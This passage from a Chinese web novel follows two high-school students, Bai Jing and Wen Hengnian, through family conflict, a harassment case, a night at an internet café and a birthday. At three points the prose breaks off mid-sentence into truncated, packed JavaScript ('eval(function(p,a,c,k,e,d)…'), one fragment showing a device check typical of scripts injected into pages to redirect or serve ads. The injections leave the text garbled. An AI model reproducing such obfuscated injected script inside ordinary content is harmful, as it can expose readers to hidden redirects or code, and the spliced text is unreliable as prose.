温怡竹撅了撅嘴,随后像是发现了什么新奇玩意儿似的:“哥哥,我为什么没有见过你这条围巾啊?好漂亮!” 说着,便伸手想要抓一抓。 温恒年见势,不着痕迹的侧了一下身子,接着大步走向沙发把她放上去:“娇娇喜欢的话,改天哥哥给你买一条。” 王倩蓉听见这话之后,先是哼了一声,虽然没对温恒年说什么,但却随后立刻招呼了女儿来自己这边:“娇娇过来,你哥哥刚从外面回来,身上凉的很,让他先去洗个热水澡吧!” 少年没吭声,起身便上了楼回自己的房间,王女士这哪儿是怕他冷?是怕自己身上带的冷气过给了温怡竹罢了。 回到房间,开了暖气之后,温恒年才把围巾摘下来,白色的围巾上沾了几颗薯片的渣渣,他皱了皱眉,把那几点儿几乎看不见的污渍抚去,又用清水洗过,吹风机吹干,喷了一点儿香水之后才放心的挂在衣架上。 他不讨厌温怡竹,小孩子倔强的天真和无时无刻对自己散发出来的真心喜爱是显然易见的,只是那位姓王的女士对自己的恶意也实在让他忽视不掉。 很奇怪,明明自己从来没有惹到过那个女人,她却那么讨厌自己,恨不得让这个家里从上到下所有人都远离他。 温恒年把扣在桌子上的相册扶起来,照片中,已经有些模糊的女人面孔依然对他温柔的笑,像是穿越时空,对照片里的小孩子,也是对照片外的自己。 “妈,你要过生日了吧,已经过去这么多年了,你还是不愿意见我。”温恒年喃喃自语着,手不自觉摸上颈间的银链,他脑中突然闪过一张面孔。 他低下头,继续说道:“你们离婚之后不到一年,王浅蓉就嫁了进来,小姨曾经说过,温展是在你们结婚中间就认识了那个女人,你是不是也知道了这件事情,所以最后下定决心离婚时走的那么义无反顾?” 可惜照片里的人不会说话,也不会在他被梦魇惊醒之后像小时候一样拍着他的背安抚他不要害怕。 自那年离婚到现在,已经过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一旁的郭振默默的瞧完他这套动作,扭过头暗暗的骂了声:“大冷天的你们真该死啊!” 谁会想到昨天还在闹别扭的两个人,一个整天不说话,一个成日面若冰霜的今天就能互相赠送围巾这种暧昧又温暖的东西了呢? 柏璟鼻子挺灵,那袋子放过来的时候她就闻到了上面有什么味道,她凑过去仔细嗅了几下,有股淡淡的百合花香。 她挑了下眉问对方:“你洗过了?” 后排的少年沉声回道:“温怡竹蹭上了一点儿薯片沫儿,把那一块儿洗了洗。” 柏璟讶于温恒年的精致,其实他就算不清理,自己也未必能发现什么。 而且就算真的发现了,她应该也不会多说一句。 “你这个围巾,在哪儿买的?”温恒年反问着,稍后似是觉得不太妥,不充了一句,“温怡竹挺喜欢你这个围巾的,等回头我买条送她。” 柏璟回忆了一下柏盛昌之前给自己发的那个店铺:“等下课我把链接发给你?” “嗯。”少年淡声回应道。 郭振略微觉得这两人不大厚道,冷战的时候能冻到旁边一群人,热的时候却暖和不到他们。 祸殃池鱼,福不及人。 “哎哎,柏璟,我也挺喜欢的啊,你能把链接也发我一个吗?”他故作尖声细语的音调去问柏璟。 哪儿知后排的女生还没开口,旁边的温恒年瞥他一眼,插了句话:“某多上九块九包邮的同款多的是,自己回去可以慢慢挑。” 郭振:“……我真是操了。” 25.酩酊 离那事儿已经过去了有一个星期差不多,柏璟再没像舒微威胁她那样被谁纠缠过。 在学校碰见了对方也只是装作不认识她,跟周围人嘻笑打闹的从柏璟身边路过,似乎小巷里的事情真的没有发生过一样。 可惜柏璟不是什么善女,她会帮助被欺负的程娅,只是看不下去这种欺凌行为。 这种善良并不会因为没有后续而不去跟她计较。 虽然温恒年提了送自己回家,但她哪儿好意思真的让人把她天天送到家门口,到最后一个岔路口的时候便会找个借口让对方回去。 只是从前天晚上开始,临到家的最后那截儿路的路灯突然坏了,堪堪亮着的几盏灯,也是灰蒙蒙的一片,连个小蛾子都不愿意往那边凑。 自那时候起,柏璟每次经过这段路,便会觉得身后有人,回家便是稀奇古怪的梦,要么就是自己被人追杀,要么就是被人绑架。 睡不好就导致她第二天完全没有精神,虚的很。 柏璟咬着牙走了两个晚上近乎伸手不见五指的夜路,最终还是怂了: “哎,要不要多跟我走一会儿?” 快要到岔路口的时候,柏璟舔了舔干涸的嘴唇,问向旁边沉默的少年。 温恒年像是早就料到了她要说什么似的,唇角一勾,没有立即开口。 过了两分钟,那人没有回应,眼看就要到分开的地方了,柏璟忍不住又问:“要不要一起散散步?顺便把我送到家门口?” 好一个一起散步。 柏璟险些咬到自己舌头。 舒微那事儿她还没告诉黎妆,秉着能简单处理就尽量简单些,要是那人知情,少不了把事情闹大。 池潭生那边还在生她的气,柏璟中间有去看他社交平台上的IP地址,已经不在国内了。 她向巷子附近的几个店铺调取了门口的监控,虽然拍的不全,但也能录下来一些自己被跟踪的画面,又去医院做了伤情鉴定,从柏盛昌那儿要了认识的靠谱律师的联系方式。 舒微未成年,暂时是不能拿她怎么样,但那个拖自己走的男的,她总不能让人好过。 “好。” 又过了几分钟,少年才突然应声。 柏璟怔了一下,回过神来才反应过来这是答应自己那个请求了。 不得不说,温恒年是比较懂她的, 或者换句话说,是愿意顺着她。 这个季节已经算是北方城市的初冬了。 散步这个借口不恰当的很,但他能看出来柏璟的不安,也不拆穿对方。 亦或许是,他自己也乐在其中。 - 柏璟生日前一天,她没等来自己约的律师,却接到了柏盛昌的电话: “我现在刚出机场,等忙完之后去你学校接你,咱们见一面。” 柏盛昌语气很严肃,从母亲过世之后这几年来,他似乎还是第一次用这种口气跟自己说话。 不容置喙,带着点命令。 柏璟大概能猜出来是为什么,毕竟那律师又不是专门给自己做事儿的,经手的案子多少都得过了柏盛昌的眼。 放学时黎妆约她出去逛逛,顺便商量下怎么给她过生日。 柏璟耸了耸肩给她看一分钟前柏盛昌发给自己的定位。 “我靠,你爹来襄城了?”黎妆略表同情,“他这个时间来干什么?跟襄城这边有生意?该不会只是为了来看看你吧?” 这个想法让柏璟起了一层鸡皮疙瘩,罕见的带些厌恶:“别恶心我。” “行吧,那祝你好运,我等会儿就不跟你一起出校门了,省的柏老头看见我又不给好脸色。”黎妆悻悻的摆了摆手,转身便在手机里问简侵有没有空。 出了校门,柏盛昌那辆宾利就停在学校对面,车旁边站着一个穿西装的男人,是她爹的司机。 柏璟从背包里摸出口罩带上,才走过去:“林叔。” 直到人走到跟前开了口,林叔才把面前脸裹得只剩下一双眼睛的女孩儿认出来:“小璟啊?怎么看上去瘦了这么多?” “哪儿有,我还觉得我胖了。”柏璟跟他寒叙着,拉开车门,一眼瞧见后座上坐的柏盛昌。 她刚要把车门关上去副驾,柏盛昌拍了拍后座位置:“要是想用我的人办事,就给我听点儿话。” 柏璟转头看了看林叔,男人朝她挤眉弄眼两番,又低声劝着:“你爸他已经知道你的事儿了,还是顺着点吧。” 林叔一向对她挺好,柏璟也愿意尊重他,俯身进了车里。 柏盛昌并没有直接跟她挑明自己来的目的,从自己上车之后,便一直被一个电话缠着。 前几通都没接,最后一次实在被扰的不耐烦,他拿出手机关掉振动,看了眼来电显示之后,眼中闪过一丝嫌恶,却还是接通了:“有事儿吗?” 那边不知道说了什么,柏盛昌的脸色缓和了许多:“那就麻烦你了。” “嗯,我明天回去。” “就先这样吧,其它的等我回去再说。” 柏璟留了个心眼仔细听了听,那边是一个女人的声音。 电话挂断之后,她随口问道:“怎么了?” 柏盛昌揉了揉眉心:“一个…朋友,生意上的人,你不认识。” 柏璟嘲讽一笑,想多嘴问一下什么朋友,可惜柏盛昌没给她这个机会,换了副表情,语气也上升到了质问:“周律跟我说的那件事儿,你从头到尾给我仔仔细细说一遍。” 柏璟:“……” “不是什么大事,之前我不是让你帮一个朋友转了班吗?堵我那个就是欺负我朋友那人找来的。” “不像在上学的人,应该是再外面混什么的。” 想起来那天男人的眼神,柏璟还有一些后知后觉的恶心。 那种被缠绕着的感觉,她还是第一次仅仅从一个人的眼神中就能感受到的。 “这事儿你别再自己糊弄了,我来襄城首要就是把你这事儿处理好。”柏盛昌清了清嗓子,似在邀功一样,“我倒要看看什么人物,敢欺负我闺女。” 林叔开着车,也不忘乐呵的给两人撮合中间的关系:“小璟,你看你爸多关心你啊,昨天知道这事儿,今天就亲自跑过来了。” 他出发点是好的,只单纯想让父女之间别那么仇视。 柏璟也笑了:“这么关心我啊?那你什么时候回扬市?” 柏盛昌轻咳一声:“明天吧,那边还有个合同得赶回去签了。” “哦。”柏璟漫不经心整理了一下衣领,“明天我生日。” “……”柏盛昌一愣。 林叔也沉默着没话说。 柏璟看上去并不在意他记不记得这个日子,指了指前面的路口:“林叔,前面停车就行,我约了黎妆。” 林叔通过后视镜看了眼柏盛昌,男人面目隐隐约约有些不悦,下意识的就摆出一副说教的口吻:“我不是说了让你少跟黎妆混在一块儿吗?她不求上进你也要跟着往下滚?” “柏总,我呢,跟黎妆约了地方商量明天怎么给我过生日,就不奉陪了。”柏璟根本没听进去他说的话,下车之前还不忘跟林叔说再见。 柏璟在旁边的便利店待了一会儿,直到透过玻璃看见外面那辆车行驶出去,才随便拿了瓶水结账出门。 她烦得很,这会儿谁都不想见,在车上那么说也就是为了给自己找个理由开脱。 想起来车上柏盛昌接的那桶电话,柏璟猛灌了一口水。 什么狗屁生意上的朋友,怕是哪个情人查岗,不方便让自己知道罢了。 “叮咚” 手机不合时宜的把柏璟这股焦躁不安的气息打乱,拿出来一看,是条转账信息。 八万八,可真是个吉利的数字。 柏盛昌还附带上一条:【这次我着急回扬市,等有机会给你补上】 说完,似乎他自个儿也清楚这句话对柏璟来说就是个摆设,又加了句:【你那个事儿我在襄城找了人托了关系帮你搞定,不用自己操心了】 柏璟一如既往的没回,收钱的动作倒是没停。 退出聊天框,最上面那个纯色头像格外扎眼,柏璟犹豫了几秒钟,还是点了开: 【这会儿有空吗】 消息发出去之后,她便立刻把手机屏灭掉装进口袋里,闭了闭眼,在心里数着数: 一,二,三,四… “叮咚” 【你在哪儿?】 柏璟打字的指尖都在颤抖,反问道:【我这儿离得比较远,你在哪儿?】 聊天框最上面反复了几次“对方正在输入中”,紧接着直接通了电话来。 柏璟手一抖差点给挂了。 温恒年那边听上去有点乱,柏璟迟疑了一下才开口:“你是不是不方便?” “没什么不方便的。”那人道,“我跟宋京承在网吧打游戏,你要来吗?” 柏璟心里一热:“我能去吗?” 打车到的时候,温恒年在门口等。 不知道等了多久,他站在门口,个子高挑,时不时往四周看一圈,双手插兜,看上去耍酷的不行。 柏璟下车的后一秒,两人便对视上了,少年朝着自己招了招手,她便小跑两步过去。 “黎妆不是说,你爸来了?” “嗯,走了已经。”柏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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温恒年就这么维持着这个姿势带着她的手操作了一局,柏璟慢慢进入游戏状态,放松下来之后也就忘了自己还被身后那人环着。 “自己来一把试试?” 一局结束,温恒年松开手。 手背上的温度突然消失掉,柏璟不适应的活动了下僵硬的身体,看着温恒年坐到自己旁边。 游戏倒计时结束,柏璟操纵着键盘和鼠标,看着电脑屏幕中自己的人物匍匐游走在丛林之间,小地图上四面八方传来的脚步声让她稍微有些惊慌,身临其境一般,小心翼翼的不敢再继续往前走。 “放心,继续走,离你远着呢。”温恒年看她紧张,安抚了一句。 柏璟这才舒了一口气,跟随着少年的指示搜图。 旁边有个小房子,她便进去找物资,可惜的是自己来晚了一步,这哥屋子已经被别人搜刮的一干二净了。 柏璟不自觉咬着下唇,瞳孔随着光标不停转动,模样认真胜似期末考复习。 “啪”“啪” 纵使在极度警惕的情况下,屏幕中那个小人儿还是被远在山坡的狙击手给两枪爆头击杀了。 柏璟泄了气向后靠去。 温恒年看她表情不太好,安慰着:“慢慢来,我刚开始玩的时候也是这样。” “真的吗?” “嗯。” 假的,他就是个游戏天才,刚开始玩的时候就能称霸一区。 不过为了不伤害柏璟的自尊心,温恒年哄她道:“当然了。” 跟他们隔了几米距离的宋京承被恶心的不行,想要拆穿这个死装哥,但是想了想日后自己被整的可能性有多大,还是放弃了。 “哎,温哥哥也教教我呗,我也是不怎么会。”另外那人阴阳怪气的揶揄一句。 被温恒年扔了袋薯片砸过去:“会不会好好说话。” “我前两天听简哥那边说要转行?不做打手,要自己开个公司还是什么?”宋京承探身摸过桌子上的烟,点燃之后问着,“阿年这事儿你知道吗?” 温恒年眼睛没离开屏幕,一边帮着柏璟指敌人的方向一边说道:“听他说过几次,窝没细问。” “啧,美色误人。”宋京承叹了叹气,“真没想到有一天简老大也能从良。” 柏璟面上盯着屏幕眼都不眨,耳朵却拐个弯儿在听他们讲话。 终于在她一心二用下,又被一个埋藏了半天的路人给干掉。 “是因为黎妆吗?”退出游戏界面后,柏璟凑到温恒年旁边轻轻问道。 温恒年斟酌了一会儿,说:“是,但也不全是。” “他迟早都要上岸,认识黎妆只是一个契机。” 26.酩酊 0:00 手机里不知道什么时候设定的生日提醒铃声响起来时,柏璟才惊觉自己跟温恒年在网吧里呆了半宿有余。 这椅子软是软,但窝的时间久了还是浑身酸痛。 柏璟费力的活动了下僵硬的身体,分针还没走到1,祝福的微信和电话便一个接一个的发过来。 黎妆拍了个礼物包装的照片,打电话的是池潭生。 自从上次不算欢喜的收场之后,这还是池潭生第一次跟她主动联系, 秉着不能给人冷脸看,柏璟很快接通了。 宋京承他们还在打游戏,吵闹的声音让柏璟不得不跟温恒年使了个眼色示意自己出去接个电话。 随着女孩儿走出包间的脚步,温恒年顺手捞过桌子上放着的半包烟,也跟了出去。 网吧外的空气很清新,不远处路边柏璟蹲在花坛的台阶上,路灯的光线往下一洒,影子被拉的长长的。 “柏小璟,生日快乐。” 那边人的声音听上去疲惫的很,不知道是熬了多久,才卡着点给她送上祝福。 柏璟轻笑出声:“池潭生,我还以为你这大半年都不会再理我了。” “我在你心里就是这么个小气鬼?”池潭生冷哼一声。 到底是从小玩到大的朋友,柏璟也乐意哄着:“没,池少爷大人有大量,不跟我计较。” 电话那头池潭生呼吸声很轻,仿佛下一秒就要睡着,却还是撑着精力跟她说话:“柏璟,你告诉我,你是不是喜欢上那个温恒年了?” 听见这句话的柏璟一愣。 池潭生:“那天黎妆把我带走,这行为也太明显了,所以你不用瞒着我。” 他憋了这么多天,还是没能忍住问出口。 “……我不知道。”柏璟回答得很诚恳。 池潭生轻轻开口,嗓音像飘在空谷幽洞里,顺着风声飘进柏璟耳朵里:“想跟他试试就试试,我还挺替他可悲,毕竟你之前追到手那个男生,没好多久就分了。” 所以他不着急,会把温恒年当做上一个人一样,一如既往的不放在眼里。 听出来他话中的揶揄和调笑,柏璟松了一口气:“我在你眼里就是这种薄情的人?” 挂了电话,柏璟转身才发现温恒年站在自己身后,脚下多了几个烟头,不知道那人站在那里多久,也不知道自己跟池潭生的通话被听进去了多少。 气氛一时间有些尴尬。 见她起身,温恒年把剩下大半根烟捻灭,才终于有机会说出那句:“柏璟,生日快乐。” 夜空的温度偏低,他说这句话的时候街边那座坏掉的路灯恰好一闪一闪,照射过来的灯光映在少年的半边脸上。 真是有够帅气。 柏璟心尖一颤,努力忽视掉这点感觉,半开玩笑道:“祝福送到了,礼物呢?” 温恒年看了眼手机上的时间,挑了半边眉:“这么贪呢?礼物等晚上你的生日宴,我亲自送到你手上。” - 回到家,客厅里烟雾缭绕,温恒年被呛得咳嗽了几声,定睛之后才发现,那沙发上正坐着吞云吐雾,眉头紧拧着的温展。 算了算时间,他似乎是有段时间没看见这个父亲了。 少年关上门,打开客厅里的排风扇,嗡嗡的声音响起来,两秒钟之后,夹杂了一句低沉暗哑的中年男人的声音:“把排风关了,娇娇在睡觉。” 温恒年默声,抬手摁掉了开关。 他原想一如既往的不问不顾直接回房间,温展却叫住了他:“小年,过来坐。” 温恒年指间一顿,却也是因心情还算不错而听了话走过去,长沙发两边并了两张短的,温展在其中一个上坐着,他便找了离得最远的一个位置坐下。 中年男人深深地把烟吐出来之后,摁在烟灰缸里掐灭。 烟味之重让温恒年闻了想吐的很,他有点儿怀疑温展这是不怕自己的二手烟熏到他如珍如宝的乖女儿? 男人开口,嗓子是不知道抽了多少烟之后的沙哑:“要不要考虑一下出国读书?” 这是种商量的口气,是温恒年很久很久都没有听到过的,从自己的父亲嘴里说出来的语气。 他沉思了几秒:“不要。” 拒绝的很果断,犹豫的那一会儿似乎只是他对这种很平常的对话的惊讶。 温展烦躁着,摸了烟盒想要再点一根,却摸了个空,茶几上放着的烟盒已经见底了。 少年顿了顿,从外套口袋里把烟拿出来,微微弯身扔在桌子上:“少抽点吧。” 男人目光动了动,似乎有话想说。 下一秒,温恒年接着道:“这味道明天早上应该散不了,温怡竹闻到会吃不下饭。” 言外之意,你也不想你的宝贝闺女因为没有吃早饭去学校里之后胃疼吧? 温展忍耐下反复冲上来的烟瘾,最终还是没有拿起那盒烟,他叹了口气:“公司出了点儿问题,这段时间不会太平,我打算把你王阿姨,娇娇,还有你,送国外住一段时间。” 少年目光幽深,淡声说道:“我不需要。” 男人似乎被他的反应刺激到了,想要发火儿,却强忍着怒气:“作为这个家的一份子,难道你就不想问问公司出了什么事儿!?” 他眼神很凉,漠不关己一样的:“那是你的公司。” “我是你爸!” “喔?也对。” 温恒年这才明白过来似的,接着眉眼展开,笑着故作关心:“那爸,你的公司出了什么事儿呢?” 这种阴阳怪气的语句,噎的温展一句话也说不出来,他试图拿起自己父亲的威严去震慑对方,却发现,自己印象中那个沉默寡言的儿子早就成长为了一个真正的大人,这点儿法子对他来说,毫无作用。 温展背靠在沙发上,一只手抬起来捏了捏眉心,说出的话中带着掩藏不住的焦虑: “这家公司是你妈和我一起投资起来的,那时候你妈强势的很,主导大头,早些年跟一个有钱的老板欠了对赌协议,便融了一千万进来,最近这位老板犯了法,挪用公款买了几套房,干了些不正经的生意,警察顺着摸了过来,要把他在公司的股份冻结,属于那个人的部分全部都要上缴。” 公司这些年赚了不少钱,当初融的一千万翻了数十倍有余,但也只能当作不动产来算,要是真的把这些钱抽出去,毫无疑问的,第一个垮下来的就是他们家。 他不想问,也不想管。 但是,这里面有他妈妈留下来的一部分。 “所以呢?”温恒年挑了下眉,“你指望我一个没毕业的高中生做些什么吗?” 他有点自暴自弃的,有那个想法不假,但是他现在能做什么呢? 温展有些犹豫,接着试探性的张口:“我听说,你小姨莫岚那边的一个孩子,姓白的?家里世代从商,你不是跟姓白那小子以前关系不错?” 见温恒年不动声色,男人又紧接着说:“……就算过了这么多年情分不在,但是你小姨说的话,白家应该会帮衬一把的,如果有他们的帮忙,这次的难关我们也许能很快度过。” 怪不得今天晚上跟他说话都有商有量着来,原来主意打在这儿了。 温恒年有些讽刺的笑了笑:“爸,你消息够灵通啊?” “就算我们关系好,也还不知道白尽回来的事儿。” “所以,你还在安排人监视我……也不对,你哪儿会对我上心?那么是跟着白尽?” “温展,你这个行为要是被他们家发现了,你觉得对于一个用心不轨的人,白家愿意伸出援手吗?” 中年男人被他直呼自己大名的行为气到脸色通红,本就没时间拾捯的头发因为震愤看上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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医生简单的做了些检查之后,指挥着把人抬上担架,接着转身问道:“我们需要一名家属随行,你们谁跟着去?” 王倩蓉嗫嚅道:“这…我跟着过去的话,谁来照顾娇娇啊?我去不了的……” 温恒年冷漠的瞥了她一眼,厌恶的说道:“我去吧。” 似乎是被那一个眼神惊到了,王倩蓉转过头去,身子微微发抖,不停的说道:“我也没办法啊,我没办法…是你把你爸气成这样的!对!本该就是你去!” 医生也实在看不下去这个画面,只能忍着情绪对温恒年说:“小伙子,还是你去吧,我们需要的是能知事儿能保持清醒的家属!” 医院离得不远,二十分钟不到便把温展送进了急救室。 温恒年冷静下来之后才发觉自己连个外套都没来得及披上就跟着来了。 他坐在椅子上,背部的衣服布料被冷汗浸透,这会儿湿答答的贴在身上,难受的要命。 他低着头,双臂折叠着撑在膝盖上,一只手按压着太阳穴。 温展的身体情况他不知道是怎么样的,否则刚刚也不会真的说那些话来故意跟他作对。 但他不后悔,这几年男人的冷漠与视若无睹,还有以往那些被翻出来的烂事儿,让他对温展那点儿父子情早就消耗殆尽,他现在只是在尽一个父子的名义。 他这样告诉自己。 温恒年不可避免的想起来,温展是一直都对自己这样的吗? 不是,自己模糊的记忆里,父亲这个角色带他去游乐园打过气球。 年轻时候的温展,意气风发,很多人都玩不明白的气/枪让他操作的行云流水。 他突然想起来,自己也在别的小朋友艳羡的目光中,接过自己父亲亲手打下来的一等奖。